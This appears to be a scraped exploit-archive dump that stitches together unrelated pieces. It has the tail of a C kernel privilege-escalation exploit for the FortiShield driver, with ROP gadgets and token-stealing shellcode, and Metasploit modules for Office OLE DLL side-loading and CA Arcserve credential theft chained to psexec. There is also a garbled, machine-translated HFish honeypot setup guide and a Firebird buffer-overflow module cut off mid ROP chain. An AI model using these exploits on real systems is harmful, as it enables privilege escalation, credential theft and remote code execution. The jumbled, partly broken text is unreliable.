    opHeader = ntHeader->OptionalHeader;

    unsigned char *ntoskrnl_buffer = (unsigned char *)malloc(opHeader.SizeOfCode);
    SIZE_T size_read;

    //ULONGLONG ntoskrnl_code_base = (ULONGLONG)lpFileName + opHeader.BaseOfCode;
    BOOL rpm = ReadProcessMemory(GetCurrentProcess(), lpFileName, ntoskrnl_buffer, opHeader.SizeOfCode, &size_read);
    if (rpm == 0) {
        printf("[!] Error while calling ReadProcessMemory: %d\n", GetLastError());
        exit(1);
    }

    int j;
    int z;
    DWORD gadget_offset = 0;

    for (j = 0; j < opHeader.SizeOfCode; j++) {
        unsigned char *gadget = (unsigned char *)malloc(opcode_size);
        memset(gadget, 0x00, opcode_size);
        for (z = 0; z < opcode_size; z++) {
            gadget[z] = ntoskrnl_buffer[j - z];
        }

        int comparison;
        comparison = memcmp(search_opcode, gadget, opcode_size);
        if (comparison == 0) {
            gadget_offset = j - (opcode_size - 1);
        }
    }

    if (gadget_offset == 0) {
        printf("[!] Error while retrieving the gadget, exiting.\n");
        exit(1);
    }
    return gadget_offset;
}

LPVOID allocate_shellcode(LPVOID nt, DWORD fortishield_callback, DWORD fortishield_restore, DWORD pte_result, HMODULE lpFileName) {

    HANDLE pid;
    pid = GetCurrentProcess();
    DWORD shellcode_address = 0x22ffe000;
    LPVOID allocate_shellcode;
    allocate_shellcode = VirtualAlloc((LPVOID *)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocate_shellcode == NULL) {
        printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
        exit(1);
    }


    /** Windows 10 1703 ROPS
    DWORD rop_01 = (DWORD)nt + 0x002fe484;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0002bbef;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x000f8d49;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x000e8a46;
    DWORD rop_08 = 0x2300d1b8;
    **/

    /** Windows 10 1709 ROPS **/
    DWORD rop_01 = (DWORD)nt + 0x0002a8c8;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0003a3a3;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x0008da19;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x001333ce;
    DWORD rop_08 = 0x2300d1b8;

    char token_steal[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                         "\x8b\x84\x24\xa0\x00\x00\x00\x31"
                         "\xc9\x89\x08\x31\xc0\x64\x8b\x80"
                         "\x24\x01\x00\x00\x8b\x80\x80\x00"
                         "\x00\x00\x89\xc1\x8b\x80\xb8\x00"
                         "\x00\x00\x2d\xb8\x00\x00\x00\x83"
                         "\xb8\xb4\x00\x00\x00\x04\x75\xec"
                         "\x8b\x90\xfc\x00\x00\x00\x89\x91"
                         "\xfc\x00\x00\x00\x89\xf8\x83\xe8"
                         "\x20\x50\x8b\x84\x24\xa8\x00\x00"
                         "\x00\x5c\x89\x04\x24\x89\xfd\x81"
                         "\xc5\x04\x04\x00\x00\xc2\x04\x00";

    char *shellcode;
    DWORD shellcode_size = 0x12000;
    shellcode = (char *)malloc(shellcode_size);
    memset(shellcode, 0x41, shellcode_size);
    memcpy(shellcode + 0x2000, &rop_01, 0x04);
    memcpy(shellcode + 0xf18f, &rop_02, 0x04);
    memcpy(shellcode + 0xf193, &rop_03, 0x04);
    memcpy(shellcode + 0xf197, &rop_04, 0x04);
    memcpy(shellcode + 0xf19b, &rop_05, 0x04);
    memcpy(shellcode + 0xf19f, &rop_06, 0x04);
    memcpy(shellcode + 0xf1a3, &rop_07, 0x04);
    memcpy(shellcode + 0xf1af, &rop_08, 0x04);
    memcpy(shellcode + 0xf1b8, &token_steal, sizeof(token_steal));
    memcpy(shellcode + 0xf253, &fortishield_callback, 0x04);
    memcpy(shellcode + 0xf257, &fortishield_restore, 0x04);


    BOOL WPMresult;
    SIZE_T written;
    WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
    if (WPMresult == 0)
    {
        printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Memory allocated at: %p\n", allocate_shellcode);
    return allocate_shellcode;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

    HMODULE ntoskrnl = LoadLibrary((LPCSTR)"C:\\Windows\\System32\\ntoskrnl.exe");
    if (ntoskrnl == NULL) {
        printf("[!] Error while loading ntoskrnl: %d\n", GetLastError());
        exit(1);
    }

    LPVOID nt = GetBaseAddr((char *)"ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr((char *)"FortiShield.sys");

	DWORD va_pte = get_pxe_address_32(0x2300d000);
	DWORD pivot = (DWORD)nt + 0x0009b8eb;
	DWORD fortishield_callback = (DWORD)fortishield_base + 0xba70;
	DWORD fortishield_restore = (DWORD)fortishield_base + 0x1e95;

	printf("[+] KERNEL found at: %llx\n", (DWORD)nt);
	printf("[+] FortiShield.sys found at: %llx\n", (DWORD)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

    LPVOID shellcode_allocation;
    shellcode_allocation = allocate_shellcode(nt, fortishield_callback, fortishield_restore, va_pte, ntoskrnl);

	DWORD IoControlCode = 0x220028;
	DWORD InputBuffer = pivot;
	DWORD InputBufferLength = 0x4;
	DWORD OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

    //DebugBreak();

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	trigger_callback();

    system("start cmd.exe");

	return 0;
}
            
require 'zip'
require 'base64'
require 'msf/core'
require 'rex/ole'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
      'Description' => %q{
        Multiple DLL side loading vulnerabilities were found in various COM components.
        These issues can be exploited by loading various these components as an embedded
        OLE object. When instantiating a vulnerable object Windows will try to load one
        or more DLLs from the current working directory. If an attacker convinces the
        victim to open a specially crafted (Office) document from a directory also
        containing the attacker's DLL file, it is possible to execute arbitrary code with
        the privileges of the target user. This can potentially result in the attacker
        taking complete control of the affected system.
      },
      'Author' => 'Yorick Koster',
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-6132'],
          ['CVE', '2015-6128'],
          ['CVE', '2015-6133'],
          ['CVE', '2016-0041'],
          ['CVE', '2016-0100'],
          ['CVE', '2016-3235'],
          ['MSB', 'MS15-132'],
          ['MSB', 'MS16-014'],
          ['MSB', 'MS16-025'],
          ['MSB', 'MS16-041'],
          ['MSB', 'MS16-070'],
          ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
          ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/exec',
          'CMD' => 'C:\\Windows\\System32\\calc.exe',
        },
      'Payload' => { 'Space'	=> 2048, },
      'Platform' => 'win',
      'Arch' => [ ARCH_X86, ARCH_X64 ],
      'Targets' =>
        [
          [ 'All', {} ],
          [
            'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
              {
                'DLL' => 'mqrt.dll',
                # {ecabafc9-7f19-11d2-978e-0000f8757e2a}
                'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A"
              }
          ],
          [
            'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)',
              {
                'DLL' => 'spframe.dll',
                # {D27CDB6E-AE6D-11cf-96B8-444553540000}
                'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00"
              }
          ],
          [
            'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)',
              {
                'DLL' => 'wuaext.dll',
                # {D93CE8B5-3BF8-462C-A03F-DED2730078BA}
                'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA"
              }
          ],
          [
            'Shutdown UX / Windows 10 / Office 2016 (MS15-132)',
              {
                'DLL' => 'wuaext.dll',
                # {14ce31dc-abc2-484c-b061-cf3416aed8ff}
                'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF"
              }
          ],
          [
            'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)',
              {
                'DLL' => 'phoneinfo.dll',
                # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4}
                'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4"
              }
          ],
          [
            'Microsoft Visio 2010 / Windows 7 (MS16-070)',
              {
                'DLL' => 'msoutls.dll',
                # 6C92B806-B900-4392-89F7-2ED4B4C23211}
                'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11"
              }
          ],
          [
            'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)',
              {
                'DLL' => 'elsext.dll',
                # {394C052E-B830-11D0-9A86-00C04FD8DBF7}
                'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7"
              }
          ],
          [
            'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)',
              {
                'DLL' => 'oci.dll',
                # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d}
                'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D"
              }
          ],
          [
            'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
              {
                'DLL' => 'wab32res.dll',
                # {32714800-2E5F-11d0-8B85-00AA0044F941}
                'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41"
              }
          ],
          [
            'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
              {
                'DLL' => 'iasdatastore2.dll',
                # {48da6741-1bf0-4a44-8325-293086c79077}
                'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77"
              }
          ],
          [
            'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
              {
                'DLL' => 'ehTrace.dll',
                # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
                'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4"
              }
          ],
        ],
      'Privileged' => false,
      'DisclosureDate' => 'Dec 8 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
      ], self.class)
  end

  def exploit
    if target.name == 'All'
        targets = @targets
    else
        targets = [ target ]
    end

    @arch.each do |a|
      exploit_regenerate_payload('win', a, nil)
      targets.each do |t|
        if t.name == 'All'
          next
        end
        print_status("Using target #{t.name}")

        dll_name = t['DLL']
        if target.name == 'All'
          ppsx_name = t.name.split(/\//).first + ".ppsx"
        else
          ppsx_name = datastore['FILENAME']
        end

        print_status("Creating the payload DLL (#{a})...")

        opts = {}
        opts[:arch] = [ a ]
        dll = generate_payload_dll(opts)
        dll_path = store_file(dll, a, dll_name)
        print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")

        print_status("Creating the PPSX file...")
        ppsx = get_ppsx(t['CLSID'])
        ppsx_path = store_file(ppsx, a, ppsx_name)
        print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
      end
    end
  end

  def store_file(data, subdir, filename)
    ltype = "exploit.fileformat.#{self.shortname}"

    if ! ::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
      FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
    end

    if filename and not filename.empty?
      if filename =~ /(.*)\.(.*)/
        ext = $2
        fname = $1
      else
        fname = filename
      end
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    fname << ".#{ext}"

    path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }

    report_note(:data => full_path.dup, :type => "#{ltype}.localpath")

    full_path.dup
  end

  def create_ole(clsid)
    ole_tmp = Rex::Quickfile.new('ole')
    stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

    stm = stg.create_stream("\x01OLE10Native")
    stm.close

    directory = stg.instance_variable_get(:@directory)
    directory.each_entry do |entry|
      if entry.instance_variable_get(:@_ab) == 'Root Entry'
        clsid = Rex::OLE::CLSID.new(clsid)
        entry.instance_variable_set(:@_clsId, clsid)
      end
    end

    # write to disk
    stg.close

    ole_contents = File.read(ole_tmp.path)
    ole_tmp.close
    ole_tmp.unlink

    ole_contents
  end

  def get_ppsx(clsid)
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
    fd = ::File.open(path, "rb")
    data = fd.read(fd.stat.size)
    fd.close
    ppsx = Rex::Zip::Archive.new

    Zip::InputStream.open(StringIO.new(data)) do |zis|
      while entry = zis.get_next_entry
        ppsx.add_file(entry.name, zis.read)
      end
    end

    ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
    ppsx.pack
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
      'Description'    => %q{
          This module exploits an information disclosure vulnerability in the CA Arcserve
        D2D r15 web server. The information disclosure can be triggered by sending a
        specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
        disclosure the username and password in cleartext used for authentication. This
        username and password pair are Windows credentials with Administrator access.
      },
      'Author'         =>
        [
          'bannedit', # metasploit module
          'rgod', # original public exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-3011' ],
          [ 'OSVDB', '74162' ],
          [ 'EDB', '17574' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0d\x0a"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Jul 25 2011',
      'DefaultTarget' => 0))


    register_options(
      [
        Opt::RPORT(8014),
      ], self.class )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: opts[:status],
      last_attempted_at: DateTime.now
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

    data  = "5|0|4|"
    data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
    data << "/contents/"
    data << "|2C6B33BED38F825C48AE73C093241510|"
    data << "com.ca.arcflash.ui.client.homepage.HomepageService"
    data << "|getLocalHost|1|2|3|4|0|"

    cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"

    res = send_request_raw({
      'uri'     => '/contents/service/homepage',
      'version' => '1.1',
      'method'  => 'POST',
      'cookie'  => cookie,
      'data'    => data,
      'headers' =>
      {
        'Content-Type'  => "text/x-gwt-rpc; charset=utf-8",
        'Content-Length' => data.length
      }
    }, 5)

    if not res
      fail_with(Failure::NotFound, 'The server did not respond to our request')
    end

    resp = res.to_s.split(',')

    user_index = resp.index("\"user\"")
    pass_index = resp.index("\"password\"")

    if user_index.nil? and pass_index.nil?
      # Not a vulnerable server (blank user/pass doesn't help us)
      fail_with(Failure::NotFound, 'The server did not return credentials')
    end

    user = resp[user_index+1].gsub(/\"/, "")
    pass = ""

    if pass_index
      pass = resp[pass_index+1].gsub(/\"/, "")
    end

    srvc = {
        :host   => datastore['RHOST'],
        :port   => datastore['RPORT'],
        :proto  => 'tcp',
        :name   => 'http',
        :info   => res.headers['Server'] || ""
      }
    report_service(srvc)
    if user.nil? or pass.nil?
      print_error("Failed to collect the username and password")
      return
    end

    print_good("Collected credentials User: '#{user}' Password: '#{pass}'")

    # try psexec on the remote host
    psexec = framework.exploits.create("windows/smb/psexec")
    psexec.register_parent(self)

    psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']

    if self.datastore['LHOST'] and self.datastore['LPORT']
      psexec.datastore['LHOST'] = self.datastore['LHOST']
      psexec.datastore['LPORT'] = self.datastore['LPORT']
    end

    psexec.datastore['RHOST'] = self.datastore['RHOST']

    psexec.datastore['DisablePayloadHandler'] = true
    psexec.datastore['SMBPass'] = pass
    psexec.datastore['SMBUser'] = user

    print_status("Attempting to login via windows/smb/psexec")

    # this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
    begin
      psexec.exploit_simple(
        'LocalInput'  => self.user_input,
        'LocalOutput' => self.user_output,
        'Payload'  => psexec.datastore['PAYLOAD'],
        'RunAsJob' => true
      )
    rescue
      report_cred(
        ip: datastore['RHOST'],
        port: 445,
        service_name: 'smb',
        user: user,
        password: pass,
        status: Metasploit::Model::Login::Status::INCORRECT
      )

      print_status("Login attempt using windows/smb/psexec failed")
      print_status("Credentials have been stored and may be useful for authentication against other services.")
      # report the auth
      return
    end

    # report the auth
    report_cred(
      ip: datastore['RHOST'],
      port: 445,
      service_name: 'smb',
      user: user,
      password: pass,
      status: Metasploit::Model::Login::Status::SUCCESSFUL
    )

    handler
  end
end
            

1。序文

HFishは、Golangに基づいて開発されたクロスプラットフォームの多機能攻撃ハニーポットフィッシングプラットフォームフレームワークシステムです。エンタープライズセキュリティ保護テストのために慎重に作成されています。リリースバージョンのダウンロードリンク:https://github.com/hacklcx/hfish/releases github: 3https://github.com/hacklcs/hfish多機能は、HTTP(s)のフィッシングをサポートするだけでなく、SSH、sftp、mysql、ftp、telnet、ftp、telnet、sftp、telnet、sftp、telnet、sftp、telnet、sftp、sftp、sftp、sftp、sftp、sftp、sftp、telnet、 APIインターフェイスが提供され、ユーザーはフィッシングモジュール(Web、PC、アプリ)の利便性を自由に拡大できます。 Golang Developmentを使用して、ユーザーはWin + Mac + Linuxを使用できます。フィッシングプラットフォームのセットを

2。クラスター構造

にすばやく展開できます。1。環境説明:Client01:66.42.68.123(クライアント1)CLINET0233601444.202.85.37(クライアント1)Server33:4.156.253.44 root@server:~#wgethttps://github.com/hacklcx/hfish/releases/download/0.6.4/hfish-0.6.4-linux-amd64.tar.gz 1049983-20201218100926918-462635022.pngROOT@server:〜#VI Config.ini#ステータスを1に変更する必要があります。バックグラウンドパスワードは複雑なパスワードに変更されます。 DB_STRデータベースの生産環境は、MySQLリモート接続を使用することをお勧めします。ここでは、SQLiteデータベースをテストします。 APIクエリと報告された認証キーは、独自のAPIキーに変更できます。1049983-20201218100927394-836487963.png hfishconfig.iniweblibs(WebディレクトリはWebハニーポットを起動せずに削除できます)のみを保持し、他のすべてを削除することができますroot@client01:〜#wget https://github.com/hacklcx/hfish/releases/download/0.6.4/hfish-0.6.4-linux-amd64.tar.gz 1049983-20201218100927825-1035842484.pngその後、コマンドを実行してサーバーサービスを開始します。クライアントサービス1 root@client01:〜#tar zxvf hfish-0.6.4-linux-amd64.tar.gz 1049983-20201218100928173-1656190452.pngを保持するhfishconfig.iniweblibsのみを保持します(Webハニーポットを起動せずにWebディレクトリを削除できます)。

root@client01:〜#rm -rf admin/db/images/static/1049983-20201218100928450-1425609273.png5root@client01:〜#vi config.ini#ステータスは2に変更する必要があり、Addrアドレスとポートをサーバー側1049983-20201218100928819-873805531.pngおよびcustomer2を開始するIPおよびポートに変更する必要があります。カスタマーサービスサイド2インストールおよび構成ルート@client02:〜#rm -rf admin/db/db/static/1049983-20201218100929216-2142589282.pngroot@client02:〜#vi config.ini#ステータスは2に変更する必要があります。 service./hfishrun3。インターフェイスディスプレイ:1049983-20201218100930223-1953739413.png 1049983-20201218100930731-183213565.png 1049983-20201218100931239-1575533902.png4。監視スクリプト/opt/monitor.sh:#!/bin/bash procnum=`ps -ef | grep 'hfish' | grep -v grep | wc -l`if [$ procnum -eq 0];次に、cd/root/hfish nohup ./hfish run output.log 21 fi 1049983-20201218100931602-1268301568.pngcrontab -e */1 * * * * * sh /opt/monitor.sh#write content、1分で1回実行する

:wq! #保存して終了します。サーバーがCrontab Service 1049983-20201218100932044-881663273.png5を起動するかどうかを確認してください。ブラックリストIPクエリhttp://104.156.253.44:9001/api/v1/get/ip?key=x85e265d965b1929148d0f0e3331331049983-20201218100932458-1549269737.png6。すべてのアカウントパスワード情報を取得http://104.156.253.44:9001/api/v1/get/passwd_list?key=x85e2ba265d965b1929148d0f0e33133 1049983-20201218100932793-1434906860.png157。すべてのフィッシング情報を取得3http://104.156.253.44:9001/api/v1/get/fish_info?key=x85e2bba265d965b1929148d0e333133 1049983-20201218100933251-1756258035.png88d0 Start the dark web honeypot root@server:/opt# apt-get install tor 1049983-20201218100933737-1908195242.png Modify the configuration vi /etc/tor/torrc file HiddenServiceDir /var/lib/tor/hidden_service/# Add tor web directory HiddenServicePort 80 127.0.0.1:8080 # Map the website 8080 port of the local dark web to theダークWeb 1049983-20201218100934159-1946101710.pngのポート80のポート80を再起動torrootroot@server:#Service Torstart 1049983-20201218100934463-2053248676.pngダークWebドメイン名CAT/VAR/LIB/TOR/HIDDED_SERVICE/HOSTNAME 1049983-20201218100934732-1173479510.pngダークウェブウェブハニーポットにアクセスする

TOR公式ウェブサイト: https://www.torproject.orgをダウンロードするTORブラウザのダウンロードシステムの対応するバージョンをインストールしてください。

9.プロキシテスト方法は、端子:HTTP_PROXY=http://127.0.0.1:8081で次のコマンドを実行します。カスタムハニーポットを追加:#config.ini [pot_name] status=1ADDR=0.0.0.0:5901INFO={{addr}}ハニーポットをスキャンする

構成パラメーター:POT_NAMEハニーポット名のステータスHoneypot 1を起動するかどうか0閉じますaddr honeypotサーバーアドレス情報アラームコンテンツ、** {{addr}} **オプションでは、IP11を書いた後に攻撃者に置き換えられます。脅威インテリジェンスにリンク1049983-20201218100935564-1640520410.png 1049983-20201218100935984-1689858645.png12.WEBフィッシングWebフィッシング、デフォルトはWordPressテンプレートです。OAまたはExchange Mailbox 1049983-20201218100936390-963090418.png13などのテンプレートをカスタマイズおよび変更できます。電子メールアラームメールアラームを設定すると、正しいアカウントとパスワードを設定する必要があります。ここのパスワードは、承認コード1049983-20201218100936776-1826452694.png 1049983-20201218100937317-565643156.jpg 1049983-20201218100938004-1297198391.png 1049983-20201218100938368-1039501689.pngです。

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize
    super(
      'Name'           => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in Firebird SQL Server.  A specially
        crafted packet can be sent which will overwrite a pointer allowing the attacker to
        control where data is read from.  Shortly, following the controlled read, the
        pointer is called resulting in code execution.
        The vulnerability exists with a group number extracted from the CNCT information,
        which is sent by the client, and whose size is not properly checked.
        This module uses an existing call to memcpy, just prior to the vulnerable code,
        which allows a small amount of data to be written to the stack. A two-phases
        stackpivot allows to execute the ROP chain which ultimately is used to execute
        VirtualAlloc and bypass DEP.
      },
      'Author'      => 'Spencer McIntyre',
      'Arch'        => ARCH_X86,
      'Platform'    => 'win',
      'References'  =>
        [
          [ 'CVE', '2013-2492' ],
          [ 'OSVDB', '91044' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh'
        },
      'Payload'      =>
        {
          # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
          'Prepend'  => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
          'Space'    => 400,
          'BadChars' => "\x00\x0a\x0d"
        },
      'Targets'     =>
        [
          # pivots are pointers to stack pivots of size 0x28
          [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
          [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
          [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
          [ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],
          [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 31 2013'
    )

    register_options([Opt::RPORT(3050)], self.class)
  end

  def check
    begin
      connect
    rescue
      vprint_error("Unable to get a connection")
      return Exploit::CheckCode::Unknown
    end

    filename =  "C:\\#{rand_text_alpha(12)}.fdb"
    username = rand_text_alpha(7)

    check_data =  ""
    check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
    check_data << "\x00\x00\x00\x13"
    check_data << filename
    check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
    check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
    check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
    check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
    check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
    check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
    check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
    check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
    check_data << "\x00\x00\x00\x08"

    sock.put(check_data)
    data = sock.recv(16)
    disconnect

    opcode = data.unpack("N*")[0]
    if opcode == 3 # Accept
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def stack_pivot_rop_chain
    case target.name
    when 'Windows FB 2.5.2.26539'
      rop_chain = [
        0x005e1ea4,		# MOV EAX,EDI # RETN [fbserver.exe]
        0x0059ffeb,		# POP EBP # RETN [fbserver.exe]
